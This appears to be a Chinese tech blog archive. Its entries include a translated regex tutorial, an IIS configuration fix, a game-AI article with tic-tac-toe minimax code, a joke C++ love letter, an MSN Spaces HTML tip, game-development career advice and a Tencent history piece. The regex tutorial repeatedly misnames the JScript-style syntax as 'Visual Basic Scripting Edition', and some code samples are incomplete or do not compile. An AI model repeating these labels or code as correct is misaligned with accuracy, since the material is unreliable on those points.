    同样,通过在列表开始处放置一个插入符(^),就可以查找所有不在列表或范围中的字符。如果该插入符出现在列表的其他位置,则匹配其本身,没有任何特殊含义。下面的 Visual Basic Scripting Edition 正则表达式匹配章节号大于 5 的章节标题:
    /Chapter [^12345]/
    对 VBScript 则使用:
    "Chapter [^12345]"
    在上面所示的示例中,表达式将匹配第九个位置处除1, 2, 3, 4, or 5 之外的任何数字字符。因此, 'Chapter 7' 为一个匹配,同样 'Chapter 9' 也是如此。
    上面的表达式可以使用连字符 (-) 表示。对 Visual Basic Scripting Edition 为:
    /Chapter [^1-5]/
    或者,对 VBScript 为:
    "Chapter [^1-5]"
    括号表达式的典型用法是指定对任何大写或小写字母字符或任何数字的匹配。下面的 Visual Basic Scripting Edition 表达式给出了这一匹配:
    /[A-Za-z0-9]/
    等价的 VBScript 表达式为:
    "[A-Za-z0-9]"
    限定符
    有时候不知道要匹配多少字符。为了能适应这种不确定性,正则表达式支持限定符的概念。这些限定符可以指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。
    下表给出了各种限定符及其含义的说明:
    字符 描述
    * 匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。
    * 等价于{0,}。
    + 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以
    及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
    ? 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do"
    或 "does" 中的"do" 。? 等价于 {0,1}。
    {n} n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob"
    中的 'o',但是能匹配 "food" 中的两个 o。
    {n,} n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中
    的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o
    {0,}' 则等价于 'o*'。
    {n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。
    刘, "o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价
    于 'o?'。请注意在逗号和两个数之间不能有空格。

    对一个很大的输入文档而言,章节数很轻易就超过九章,因此需要有一种方法来处理两位数或者三位数的章节号。限定符就提供了这个功能。下面的Visual Basic Scripting Edition 正则表达式可以匹配具有任何位数的章节标题:
    /Chapter [1-9][0-9]*/
    下面的 VBScript 正则表达式执行同样的匹配:
    "Chapter [1-9][0-9]*"
    请注意限定符出现在范围表达式之后。因此,它将应用于所包含的整个范围表达式,在本例中,只指定了从 0 到 9 的数字。
    这里没有使用 '+' 限定符,因为第二位或后续位置上并不一定需要一个数字。同样也没有使用 '?' 字符,因为这将把章节数限制为只有两位数字。在 'Chapter' 和空格字符之后至少要匹配一个数字。
    如果已知章节数限制只有99 章,则可以使用下面的 Visual Basic Scripting Edition 表达式来指定至少有一位数字,但不超过两个数字。
    /Chapter [0-9]{1,2}/
    对 VBScript 可以使用下述正则表达式:
    "Chapter [0-9]{1,2}"
    上述表达式的缺点是如果有一个章节号大于 99,它仍只会匹配前两位数字。另一个缺点是某些人可以创建一个 Chapter 0,而且仍能匹配。一个更好的用来匹配两位数的 Visual Basic Scripting Edition 表达式如下:
    /Chapter [1-9][0-9]?/
    或者
    /Chapter [1-9][0-9]{0,1}/
    对 VBScript 而言,下述表达式与上面等价:
    "Chapter [1-9][0-9]?"
    或者
    "Chapter [1-9][0-9]{0,1}"
    '*'、 '+'和 '?' 限定符都称之为贪婪的,也就是说,他们尽可能多地匹配文字。有时这根本就不是所希望发生的情况。有时则正好希望最小匹配。
    例如,你可能要搜索一个 HTML 文档来查找一处包含在 H1 标记中的章节标题。在文档中该文字可能具有如下形式:
    <H1>Chapter 1 – Introduction to Regular Expressions</H1>
    下面的表达式匹配从开始的小于号 (<) 到 H1 标记结束处的大于号之间的所有内容。
    /<.*>/
    VBScript 的正则表达式为:
    "<.*>"
    如果所要匹配的就是开始的 H1 标记,则下述非贪婪地表达式就只匹配 <H1>。
    /<.*?>/
    或者
    "<.*?>"
    通过在 '*'、 '+' 或 '?' 限定符后放置 '?',该表达式就从贪婪匹配转为了非贪婪或最小匹配。
    定位符
    到现在为止,所看到的示例都只考虑查找任何地方出现的章节标题。出现的任何一个字符串 'Chapter' 后跟一个空格和一个数字可能是一个真正的章节标题,也可能是对其他章节的交叉引用。由于真正的章节标题总是出现在一行的开始,因此需要设计一个方法只查找标题而不查找交叉引用。
    定位符提供了这个功能。定位符可以将一个正则表达式固定在一行的开始或结束。也可以创建只在单词内或只在单词的开始或结尾处出现的正则表达式。下表包含了正则表达式及其含义的列表:
    字符 描述
    ^ 匹配输入字符串的开始位置。如果设置了RegExp对象的 Multiline 属性,
    ^ 也匹配 '\n' 或 '\r' 之后的位置。
    $ 匹配输入字符串的结束位置。如果设置了RegExp对象的 Multiline 属性,
    $ 也匹配 '\n' 或 '\r' 之前的位置。
    \b 匹配一个单词边界,也就是指单词和空格间的位置。
    \B 匹配非单词边界。

    不能对定位符使用限定符。因为在一个换行符或者单词边界的前面或后面不会有连续多个位置,因此诸如 '^*' 的表达式是不允许的。
    要匹配一行文字开始位置的文字,请在正则表达式的开始处使用 '^' 字符。不要把 '^' 的这个语法与其在括号表达式中的语法弄混。它们的语法根本不同。
    要匹配一行文字结束位置的文字,请在正则表达式的结束处使用 '$' 字符。
    要在查找章节标题时使用定位符,下面的 Visual Basic Scripting Edition 正则表达式将匹配位于一行的开始处最多有两个数字的章节标题:
    /^Chapter [1-9][0-9]{0,1}/
    VBScript 中相同功能的正则表达式如下:
    "^Chapter [1-9][0-9]{0,1}"
    一个真正的章节标题不仅出现在一行的开始,而且这一行中也仅有这一个内容,因此,它必然也位于一行的结束。下面的表达式确保所指定的匹配只匹配章节而不会匹配交叉引用。它是通过创建一个只匹配一行文字的开始和结束位置的正则表达式来实现的。
    /^Chapter [1-9][0-9]{0,1}$/
    对 VBScript 则使用:
    "^Chapter [1-9][0-9]{0,1}$"
    匹配单词边界有少许不同,但却给正则表达式增加了一个非常重要的功能。单词边界就是单词和空格之间的位置。非单词边界就是其他任何位置。下面的 Visual Basic Scripting Edition 表达式将匹配单词 'Chapter' 的前三个字符,因为它们出现在单词边界后:
    /\bCha/
    对 VBScript 为:
    "\bCha"
    这里 '\b' 操作符的位置很关键。如果它位于要匹配的字符串的开始,则将查找位于单词开头处的匹配;如果它位于改字符串的末尾,则查找位于单词结束处的匹配。例如,下面的表达式将匹配单词 'Chapter' 中的 'ter',因为它出现在单词边界之前:
    /ter\b/
    以及
    "ter\b"
    下面的表达式将匹配 'apt',因为它位于 'Chapter' 中间,但不会匹配 'aptitude' 中的'apt':
    /\Bapt/
    以及
    "\Bapt"
    这是因为在单词 'Chapter' 中 'apt' 出现在非单词边界位置,而在单词 'aptitude' 中位于单词边界位置。非单词边界操作符的位置不重要,因为匹配与一个单词的开头或结尾无关。
    选择与编组
    选择允许使用 '|' 字符来在两个或多个候选项中进行选择。通过扩展章节标题的正则表达式,可以将其扩充为不仅仅适用于章节标题的表达式。不过,这可没有想象的那么直接。在使用选择时,将匹配'|' 字符每边最可能的表达式。你可能认为下面的 Visual Basic Scripting Edition 和 VBScript 表达式将匹配位于一行的开始和结束位置且后跟一个或两个数字的 'Chapter' 或 'Section':
    /^Chapter|Section [1-9][0-9]{0,1}$/
    "^Chapter|Section [1-9][0-9]{0,1}$"
    不幸的是,真正的情况是上面所示的正则表达式要么匹配位于一行开始处的单词 'Chapter',要么匹配一行结束处的后跟任何数字的 'Section'。如果输入字符串为 'Chapter 22',上面的表达式将只匹配单词 'Chapter'。如果输入字符串为 'Section 22',则该表达式将匹配 'Section 22'。但这种结果不是我们此处的目的,因此必须有一种办法来使正则表达式对于所要做的更易于响应,而且确实也有这种方法。
    可以使用圆括号来限制选择的范围,也就是说明确该选择只适用于这两个单词 'Chapter' 和 'Section'。不过,圆括号同样也是难处理的,因为它们也用来创建子表达式,有些内容将在后面关于子表达式的部分介绍。通过采用上面所示的正则表达式并在适当位置添加圆括号,就可以使该正则表达式既可以匹配 'Chapter 1',也可以匹配 'Section 3'。
    下面的正则表达式使用圆括号将 'Chapter' 和 'Section' 组成一组,所以该表达式才能正确工作。对 Visual Basic Scripting Edition 为:
    /^(Chapter|Section) [1-9][0-9]{0,1}$/
    对 VBScript 为:
    "^(Chapter|Section) [1-9][0-9]{0,1}$"
    这些表达式工作正确,只是产生了一个有趣的副产品。在 'Chapter|Section' 两边放置圆括号建立了适当的编组,但也导致两个待匹配单词之一都被捕获供今后使用。由于在上面所示的表达式中只有一组圆括号,因此只能有一个捕获的 submatch。可以使用 VBScript 的Submatches 集合或者Visual Basic Scripting Edition 中RegExp 对象的 $1-$9 属性来引用这个子匹配。
    有时捕获一个子匹配是所希望的,有时则是不希望的。在说明所示的示例中,真正想做的就是使用圆括号对单词 'Chapter' 或 'Section' 之间的选择编组。并不希望在后面再引用该匹配。实际上,除非真的是需要捕获子匹配,否则请不要使用。由于不需要花时间和内存来存储那些子匹配,这种正则表达式的效率将更高。
    可以在正则表达式模式圆括号内部的前面使用 '?:'来防止存储该匹配供今后使用。对上面所示正则表达式的下述修改提供了免除子匹配存储的相同功能。对 Visual Basic Scripting Edition:
    /^(?:Chapter|Section) [1-9][0-9]{0,1}$/
    对 VBScript:
    "^(?:Chapter|Section) [1-9][0-9]{0,1}$"
    除了 '?:' 元字符,还有两个非捕获元字符用于称之为预查的匹配。一个为正向预查,用 ?= 表示, 在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串。一个为负向预查,用 '?!' 表示,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。
    例如,假定有一个包含引用有 Windows 3.1、Windows 95、Windows 98 以及 Windows NT 的文档。进一步假设需要更新该文档,方法是查找所有对 Windows 95、Windows 98 以及 Windows NT 的引用,并将这些引用更改为 Windows 2000。可以使用下面的 Visual Basic Scripting Edition 正则表达式,这是一个正向预查,来匹配 Windows 95、Windows 98 以及 Windows NT:
    /Windows(?=95 |98 |NT )/
    在 VBScript 要进行同样的匹配可以使用下述表达式:
    "Windows(?=95 |98 |NT )"
    找到一个匹配后,紧接匹配到的文字(而不包括预查中使用的字符)就开始对下一次匹配的搜索。例如,如果上面所示的表达式匹配到 'Windows 98',则将从 'Windows' 而不是 '98' 之后继续查找。
    后向引用
    正则表达式一个最重要的特性就是将匹配成功的模式的某部分进行存储供以后使用这一能力。请回想一下,对一个正则表达式模式或部分模式两边添加圆括号将导致这部分表达式存储到一个临时缓冲区中。可以使用非捕获元字符 '?:', '?=', or '?!' 来忽略对这部分正则表达式的保存。
    所捕获的每个子匹配都按照在正则表达式模式中从左至右所遇到的内容存储。存储子匹配的缓冲区编号从 1 开始,连续编号直至最大 99 个子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
    后向引用一个最简单,最有用的应用是提供了确定文字中连续出现两个相同单词的位置的能力。请看下面的句子:
    Is is the cost of of gasoline going up up?
    根据所写内容,上面的句子明显存在单词多次重复的问题。如果能有一种方法无需查找每个单词的重复现象就能修改该句子就好了。下面的 Visual Basic Scripting Edition 正则表达式使用一个子表达式就可以实现这一功能。
    /\b([a-z]+) \1\b/gi
    等价的 VBScript 表达式为:
    "\b([a-z]+) \1\b"
    在这个示例中,子表达式就是圆括号之间的每一项。所捕获的表达式包括一个或多个字母字符,即由'[a-z]+' 所指定的。该正则表达式的第二部分是对前面所捕获的子匹配的引用,也就是由附加表达式所匹配的第二次出现的单词。'\1'用来指定第一个子匹配。单词边界元字符确保只检测单独的单词。如果不这样,则诸如 "is issued" 或 "this is" 这样的短语都会被该表达式不正确地识别。
    在 Visual Basic Scripting Edition 表达式中,正则表达式后面的全局标志 ('g') 表示该表达式将用来在输入字符串中查找尽可能多的匹配。大小写敏感性由表达式结束处的大小写敏感性标记 ('i') 指定。多行标记指定可能出现在换行符的两端的潜在匹配。对 VBScript 而言,在表达式中不能设置各种标记,但必须使用 RegExp 对象的属性来显式设置。
    使用上面所示的正则表达式,下面的 Visual Basic Scripting Edition 代码可以使用子匹配信息,在一个文字字符串中将连续出现两次的相同单词替换为一个相同的单词:
    var ss = "Is is the cost of of gasoline going up up?.\n";
    var re = /\b([a-z]+) \1\b/gim; file://创建正则表达式样式.
    var rv = ss.replace(re,"$1"); file://用一个单词替代两个单词.
    最接近的等价 VBScript 代码如下:
    Dim ss, re, rv
    ss = "Is is the cost of of gasoline going up up?." & vbNewLine
    Set re = New RegExp
    re.Pattern = "\b([a-z]+) \1\b"
    re.Global = True
    re.IgnoreCase = True
    re.MultiLine = True
    rv = re.Replace(ss,"$1")
    请注意在 VBScript 代码中,全局、大小写敏感性以及多行标记都是使用 RegExp 对象的适当属性来设置的。
    在replace 方法中使用 $1 来引用所保存的第一个子匹配。如果有多个子匹配,则可以用 $2, $3 等继续引用。
    后向引用的另一个用途是将一个通用资源指示符 (URI) 分解为组件部分。假定希望将下述的URI 分解为协议 (ftp, http, etc),域名地址以及页面/路径:
    下面的正则表达式可以提供这个功能。对 Visual Basic Scripting Edition,为:
    /(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)/
    对 VBScript 为:
    "(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)"
    第一个附加子表达式是用来捕获该 web 地址的协议部分。该子表达式匹配位于一个冒号和两个正斜杠之前的任何单词。第二个附加子表达式捕获该地址的域名地址。该子表达式匹配不包括 '^'、 '/' 或 ':' 字符的任何字符序列。第三个附加子表达式捕获网站端口号码,如果指定了该端口号。该子表达式匹配后跟一个冒号的零或多个数字。最后,第四个附加子表达式捕获由该 web 地址指定的路径以及\或者页面信息。该子表达式匹配一个和多个除'#' 或空格之外的字符。
    将该正则表达式应用于上面所示的 URI 后,子匹配包含下述内容:
    RegExp.$1 包含 "http"
    RegExp.$2 包含 "msdn.microsoft.com"
    RegExp.$3 包含 ":80"
    RegExp.$4 包含 "/scripting/default.htm"

    win2003IIS的父路径

    今天在win2003IIS中调试了一段IP搜索的ASP代码,结果IIS暴错
     

    Active Server Pages 错误 'ASP 0131'

    不允许的父路径

    /admin/index.asp,行 1

    包含文件 '../Conn.asp' 不能用 '..' 表示父目录。

    看了看原代码也没什么问题,它说不允许的父路径,FT,看了半天,在IIS的主目录--配置--选项中有一个复选项“允许父路径”,选中确定以后终于正常了,不了解2003怎么做个这个东东。

    June 07

    电脑游戏中的人工智能制作

    选择自 ghj1976 的 Blog 

     电脑游戏随着硬件执行效率与显示解析度等大幅提升,以往很多不可能或非常难以实现的电脑游戏如此都得以顺利完成。虽然电脑游戏的呈现是那么地多样化,然而却与我们今日所要探讨的主题,人工智能几乎都有着密不可分的关系。
     在角色扮演游戏中,程序员与企划人员需要精确地在电脑上将一个个所谓的“怪物”在战门过程中栩栩如生地制作出来;所以半兽人受了重伤懂得逃跑,法师懂得施展攻性法术。
     目前能让人立刻想到与人工智能有密切关系的游戏有两种:
        一是所谓的战棋/策略模拟游戏,二则是棋弈游戏。人工智能的比重与深浅度,在不同的游戏类型中各有不一。有的电脑游戏非标榜着高人工智能不可,不然没有人买;有的则是几乎渺茫到让玩家无法感觉有任何人工智能的存在。            

     导向式思考

     AI最容易制作的的方式,同时也是早期游戏AI发展的主要方向就是规则导向或称之为假设导向。在一些比较简单的电脑游戏中,程序员可以好不困难地将游戏中的规则与设定转化成一条条的规则,然后将它们写成电脑程序。让我们以角色扮演游戏为例。决大多数的企画在设定所谓电脑怪物时,所设定的属性通常有以下几种:

      生命值 攻击力 防御力 法力  属性

     最后一个“属性”是我在设定时喜欢增加的项目之一。透过这项属性的设定,我可以把怪物设定成“贪生怕死的”,也可以把战士设定为“视死如归”。以目前我们所掌握的资料,在战门系统中的大纲如是诞生了:                          

    规则一

    if (生命值< 10) // 边临死亡了吗 
    {  if (属性== 贪生怕死)               
       结果 = 试图逃跑               
      if (有任何恢复生命值的物品或法术可用)       
       结果 = 使用或施展相关物品或法术        
    }                                                  

    规则二
      
    if (可施攻击性法术 && 有足够法力) 
    {                         
       结果 = 施展攻攻击性法术              
    }                         

     由以上一连串的“如果--就--”规则设定,建立了最基本的AI。说这样的制方式只能建立基本AI其实并不当然正确。只要建立足够及精确的规则,这样的方式仍然有一定水准的表现。
     规则导向的最大优点就是易学易用。在没有深奥的理论概念的前提下,仍有广大的使用群。所以很多老道的玩家常常没两下就摸清楚敌人的攻击策略,移动方式等等。

     推论式思考

     相信曾经接触过电脑语言课程,或是自习过相关书籍的朋友们,都曾曾经听过一个著名的程序,那就是井字游戏。用井字游戏作为讨论AI的入门教材,我个人觉得是最适当的例子。或许有人还不知道井字游戏怎么玩。只要任何一方在三乘三的方格中先先成一线便胜利了。我们在前面谈过的规则导向,在这里也可以派得上用场。

     if任何一线已有我方两子&&另外一格仍空//我方即将成一线吗
      结果 = 该空格                      
     if任何一线已有敌方两子&&另外一格仍空//防止敌方作成一线 
      结果 = 该空格                      
     if任何一线已有我方一子&&另外两格仍空//作成两子    
      结果 = 该空格 

     有一次我在某本电脑书上,同样地也看到某些以井字游戏为介绍的范例。不同的是,我几乎看不到任何规则导向的影子。但在仔细分析该程序码后,我得到了极大的启发,原来AI是可以不用这么多规则来制作的。它用的方法正是在电脑AI课程中重要的概念:极大极小法。我在这里只说明这法则的概念。继续以井字游戏为例,电脑先在某处下子,接着会以假设的方式,替对方下子,当然,必须假设对方下的是最佳位置,否则一切则毫无意义。在假设对方下子的过程中,自然又需要假设我方的下一步回应,如此一来一往,直到下完整局游戏为止。

    底下是节录书中的程序片段:                        
      
    bestMove(int p, int*v) 
    {   int i;  
       int lastTie;                   
       int lastMove;                  
       int subV;                                    
    /*First, check for a tie*/             
        if (isTie()) {               
         *v=0;                
         return(0);               
       }; 
    /*If not a tie, try each potential move*/ 
     for (*v=-1, lastTie=lastMove=-1,i=0;i<9;i++) 
      { 
       /*If this isn't a possible, skip it*/           
       if (board[i]!=0) continue; 
       /* Make the move. */ 
        lastMove=i;  
        board[i]=p;                              
       /* Did it win? */                        
        if (hasWon(p)) *v=1;                      
        else{                              
       /*If not, find out how good the other side can do*/ 
         bestMove(-p,&subV);                       
       /* If they can only lose, this is still a win.*/ 
          if (subV==-1) *v=1;        
       /* Or, if it's a tie, remember it. */          
           else if (subV==0){                  
              *v=0;        
              lastTie=i;  
              };                           
           };                               
    /* Take back the move. */            
               board[i]=0;           
    /*If we found a win, return immediately 
         (can't do any better than that)*/      
      if (*v==1) return(i);                      
    /*If we didn't find any wins, return a tie move.*/          
      if (*v==0) return(lastTie);                       
    /*If there weren't even any ties, return a loosing move.*/      
      else return(lastMove);  
    };     

     国外的一些论坛曾举行过256字节的游戏设计比赛。作品非常多,其中有一件作品正巧也是井字游戏。作者用区区两百多行就写了与上述程序演算方式完全相同的作品,可见功力确实了的。另外,我也很希望类似的活动能在国内推展起来。对了,在这样的比赛条件限制下,除了汇编语言外,几乎没有其它的选择了。  

    程序员的爱情~~,HEHE

    打开Microsoft Visual(R) C ++ , 选择 Win32 Console Application 工程 将本程序Love.cpp 引入 哈哈计算机都被感动了!^_^ 
      

    // It's my first love letter in my life 这是我这辈子写的第一封情书 
    // To my beloved girl--Lanbell   写给我心爱的女孩--Lanbell 
    // I hope she can see it 我希望她能够看到 
    // written by Crazy 6/16/2000 Crazy作于2000年6月16日 

    //#include<love.h> 
    const int years=10000;//定义符号常量10000年 
    class U //定义关于“你”的类U 
    { public: char name[7]; 
    int pretty,clever,spry,charming,kind2me; 
    }; 
    class I //定义关于“我”的类I 
    { public: char name[5]; 
    int loveU,missU,needU,haveU; 
    loveU(int a) { …… } 
    happy(int a) { …… } 
    unhappy(int a) { …… } 
    doEverything4U( ) { …… } 
    }; 
    void main( ) 
    { U.name="Lanbell"; 
    I.name="Crazy"; 
    U.pretty=1;//1表示“真”,0表示“假” 
    U.clever=1; 
    U.spry=1; 
    U.charming=1; 
    U.kind2me=1; 
    if(U.pretty&&U.clever&&U.spry&&U.charming&&U.kind2me) 
     //因你的可爱、聪慧、活泼、迷人 
     //以及你之于我的柔情似水 
    I.loveU=1; //所以我爱上你 
    if(I.loveU) I.missU=1; //因为爱你所以会想你 
    if(I.missU) I.needU=1; //因为想你所以需要你 
    if(I.needU) I.haveU++; //因需要你进而便更想拥有你 
    I.happy(I.haveU); //因拥有你而快乐 
    I.unhappy(!I.haveU); //因没有你而失落 
    I.loveU(years); //但不管怎样,我会爱你一万年 
    I.doEverything4U( ); //会无条件为你做一切 
    cout<<U.name<<",I love you!"<<endl; //Lanbell,I love you! 
    cout<<"I love you in faith!"<<endl; //I love you in faith! 
    cout<<"I love everything of yours!"<<endl; //I love everything of yours! 
    cout<<"So,please,be mime,baby!"<<endl; //So,please,be mine,baby! 
    cout<<" Yours,"<<I.name<<endl; // Yours,Crazy} 

    加入背景音乐

    看了半天都找不到HTML编辑模式,结果search以下才发现.

    这个是老外的原文:

    Edit It Button

    Drag the link below into your link toolbar! Right click on your toolbar to display the link toolbar if it is not visible. If you can't drag this link (Windows sp2), right click on the link and add it to your favorites. Specify the "Links" directory and it will show up on your toolbar.

    首先确认你的IE浏览器工具栏中是否有“链接(Link)”这一项,如果没有,那么点击“查看”菜单,在“工具栏”选项中将“链接(Link)”挑上勾。SP2的XP系统"添加到收藏夹"就行了.然后访问下面这个网站:

    http://www.siteexperts.com/blogging/editit.htm(注:这是老外做的一个JS脚本,厉害哦,这都能发现)

    你会发现页面中有一个“Edit It”链接,用鼠标右键点击这个链接,然后将其添加到收藏夹内,记着一定要放到“链接(Link)”这个文件夹中。按照上述操作后,你会在你的“链接(Link)”工具栏内看到一个“Edit It”的链接图标。

    Ok,到你的MSN Space中新添加一篇日志,输入文字前,点击“Edit It”,看一看编辑工具栏是不是多出了几个图标,剪切、复制、粘贴、字形、字号都有了,再配合原来的加粗、斜体、文字颜色等,处理文本应该绰绰有余了。

    好了,准备工作做好了,现在开始添加背景音乐:

    点击"用 HTML 创建您的网页。 — 直接编辑 HTML 格式命令。",现在编辑区变成了源码的形式显示了,能编辑源码就好办多了,一切都没有问题.要想加入背景音乐,只要这个代码就行了:
    <IMG height=0 loop=infinite dynsrc=http://**/13.mp3 width=0 border=0>其中infinite是无限循环,换成0是不循环,其他循环次数只需键入相应数字即可

    dynsrc=音频链接地址 将http://*/13.mp3 改成你要用的的音乐地址就可以了。

    注意:地址与width之间要有空格/使用mp3、mid、wma等作为背景音乐

    提示个小东西:回车的时候用shift+回车能得到更小的行距,试试~~HEHE

    从事游戏开发行业,首先你得学会

        

    这是别人写的,觉得写的还不错,有同感,也从中有所启发:

    第一,熟悉一种编程语言,比如c,c++或者java,同时熟悉一种工具,比如VC或者jbuilder。看书学,用心体会学习一门新工具的全过程。这很重要,因为以后你会不断的需要学习新东西。这是建立信心的基础,你会发现自己能够学会任何想学的东西。

    第二,在第一步的基础上,熟悉各种数据结构和排序算法,特别是链表,这是各种程序中用得最多的结构。多编一些没有界面的纯算法程序(个人觉得这点提的很好,本人就是属于那种急于求成的人,总是希望借助一些可视化的开发平台快速上手开发出具有windows界面的软件,谁知到时候才知道原来一些基本的东西还没搞清楚,正所谓"没学会走,就想跑",以后要多多注意),不要着急,这是基本功。很重要。

    第三,结合操作系统,比如windows或者手机虚拟器,学习有界面的编程方式。学习如何使用组件或者javabean,如何创建自己的组件。

    然后,可以根据自己的兴趣和发展方向,可以选择以下方向学习:
    计算机图形学方面,要懂什么是渲染,什么是zbuffer,反正就是这些烂东东。
    3D引擎方面,学习用Directx编程、OpenGL编程。DirectX好学一些,标准统一。OpenGL各驱动厂家支持不一样,比较麻烦一些。
    人工智能方面,研究一下实际上大有所为,现在的游戏在这方面做得普普通通。
    数据库,熟悉一两种主要的数据库和数据连接方式,要有比较好的SQL语言能力。
    网络编程方面,简单,这个最简单。
    其它的都是一些计算机修养方面的东西,比如网络安全方面,懂一点密钥、加密算法,多任务(线程、进程)编程方面,程序优化方面的东西,总而言之,要有点高手风范。

    然后是游戏开发方面的经验积累了,结合前面的程序练习,先做几个小游戏,比如俄罗斯方块,挖地雷之类的,主要是培养信心和兴趣。然后逐渐升级,做点战棋和RPG。最后学到3D引擎编码的时候,就做个3D赛车游戏吧,贴图不漂亮没关系,又不卖,只是自己长经验吧。

    这种水平,应该有机会到游戏公司了,这样可以接触到他们买的世界上比较先进的游戏引擎,有前文的基础,什么东东都不用怕,一两个月就可以干得普普通通,一两年就可以骨干,三五年就可以核心,年薪几十万指日可待。(说起来容易,要达到这个高度,对于一个新手来说真的是好困难的,努力)

    后记(网络~彦色):游戏制作不比其他软件开发,从初步了解的一些知识来看,其综合性很强,有图形图像\网络\加密\人工智能\多媒体\数据库等等一系列的东西,会一门语言甚至精通,要想开发一款游戏也不是那么容易的,就象上面所说的,你还得学习DX或者OPENGL 等接口的东西,总之这个行业是个门槛很高的行业,不过还是有那么多人喜欢,不只是因为薪水高,也许更多的是处于对它的热爱和兴趣,就象NPC6说的一样"何苦做游戏"

    May 31

    马化腾还能挺多久?

    腾讯:马化腾还能挺多久? 来源:http://www.boraid.com

       一只危险的小企鹅 

      本月5月11日,腾讯最大的竞争对手微软互联网事业部--MSN(即时通讯软件)正式宣布和上海联和投资有限公司共同成立合资公司,把MSN正式带入中国,不久即将推出MSN门户及其他互联网产品及服务。

      这绝对是一个令马化腾还有其他门户网站掌门人跳起来的坏消息。众所周知,微软这个IT界的庞然大物实在太强大了。它一旦正式进入中国,对所有的互联网企业都是一个致命的威胁。而qq作为在即时通讯市场(IM)中惟一跑在其前面的对手,肯定将是msn日后最大的打击目标。

      目前,中国有710万用户在使用中文MSN和Hotmail电子邮箱。但微软胃口远不止此,微软将全面轰炸中国互联网市场:MSN门户网站即将成立,即时通讯、邮件、搜索、网游、博客以及手机聊天等移动和电信增值业务将全面展开,7个涵盖交友、购物、下载等内容的合作频道也将很快正式开通,总之,赚钱的项目一个也不会少。很显然,微软的野心是,要将msn打造成为中国最强大的门户网站之一,直接叫板三大门户网站和死对头腾讯。

      狼已经真的来了,而反观腾讯,我们不难发现它身上暴露出来的种种缺陷。比如对msn的轻敌,在产品定位上的失误,对目前用户群的盲目乐观以及公司管理层的稳定不变等等。这些缺陷或许会在日后得到修复,却更有可能葬送小企鹅年轻的生命。34岁的马化腾还太年轻,年轻总会出错。残酷的是,互联网的高速发展可能等不及给你一个喘息或者反省的机会,你就被卷走了。所以,马化腾现在最需要听到的不是赞美诗,而是刺耳的忠言。    

      无心插柳--


    富豪几乎扔掉了金矿
      
      赢周刊记者 梁树新  

      1993年7月,马化腾领到深圳大学计算机专业毕业证书的那一天,绝对想不到他12年会如此风光。

      但深圳就是这样一个充满奇迹的城市,她慷慨地让马化腾成为了一座城市的传奇。 

      

    小企鹅曾被打入冷宫
      
      1993年,刚刚毕业的斯文书生马化腾顺利进入当时国内名声很响的深圳润讯公司做寻呼软件开发工作。一个偶然的机会,马化腾接触到来自国外的即时通讯软件ICQ,这款软件在沟通上的快速便捷令其兴奋不已。但其英文界面很不符合中国人的使用习惯。于是马化腾开始思考是否可以在中国推出一种类似ICQ的集寻呼、聊天、电子邮件于一身的软件。1998年11月,马化腾利用炒股所得的资金与大学同学张志东在深圳注册了腾讯计算机系统有限公司,开始研发自己的软件。

      3个月后,马化腾和他的同事们开发出第一个“中国版”ICQ-OICQ,即QQ的前身,并免费投向当时刚刚兴起的中国互联网市场,用户的热烈回应是马化腾和他的创业伙伴们远远没有料到的。最初,他们只是想将寻呼与网络联系起来,开发无线网络寻呼系统。当时,这家十几个人的小公司的主要业务是为深圳电信、深圳联通和一些寻呼台做项目,QQ只是公司一个无暇顾及的副产品。当时,像腾讯这样的小公司有上百家,为了能赚钱和生存下去,马化腾在业务上几乎来者不拒,做网页、做系统集成、做程序设计……而那只不能赚钱的小企鹅,基本处于被打入冷宫的状态。  

      差点100万卖了qq  

      几个月后,情况就起了翻天覆地的变化,qq的注册用户已经疯长到几十万人,这让马化腾意识到qq蕴含着巨大的商业价值。但和当时所有刚刚创立的互联网公司一样,腾讯遭遇到了资金和技术的瓶颈。用户人数剧增就要不断扩充服务器,而那时一两千元的服务器托管费对腾讯来说无疑是一笔巨大的开支。“我们只能到处去蹭人家的服务器用,最开始只是一台普通PC机,放到具有宽带条件的机房里面,然后把程序偷偷放到别人的服务器里面运行。”马化腾说。

      既然养不起,马化腾很自然地就动了甩卖qq的念头,想以此套点现钱支持公司的发展。马化腾曾计划以100万元人民币将QQ转让,却被认为“开价过高”而没有找到合适的买家。最有意思的是,当时马与深圳电信数据局谈判,对方准备出60万元,马化腾坚持要卖100万元,始终谈不拢,只好告吹。  

      风险投资商救活腾讯  

      软件卖不掉,但用户却依然在疯狂增长,运营QQ所需的投入越来越大,俨然一个无底洞。马化腾只好四处去筹钱。但找银行,银行从来没听说过凭“注册用户数量”可以办抵押贷款;与国内投资商谈,对方关心的是腾讯有多少台电脑和其他固定资产。1999年下半年,全世界互联网经济开始“发烧”,受昔日老友丁磊海外融资的启发,马化腾拿着改了6个版本、20多页的商业计划书开始寻找国外风险投资,最后碰到了IDG和盈科数码,对方伯乐识马,给腾讯注入了220万美元的巨额投资,并持有腾讯公司20%的股份。

      有了这笔雄厚的资金,公司大手笔地一举购置了20万兆的IBM服务器力,并将更多精力集中在改进QQ功能和开发新版本上。2000年6月,腾讯因为涉身无线增值业务开始赢利。截止2004年9月,腾讯QQ总注册用户数为3.55亿、活跃用户数1.19亿、QQ最高同时在线730万、QQ游戏最高同时在线78万,跃居中国第一大休闲游戏门户。  

      挑战三大门户网站  

      2004年前三季度,腾讯盈利达到3.28亿元。当年6月,腾讯在香港主板上市,开始打通融资渠道。仅仅用了7年时间,马化腾就让腾讯qq成为了风靡全国的休闲文化符号,并令其成为了一棵羡煞旁人的摇钱树,或许连其本人也始料不及。

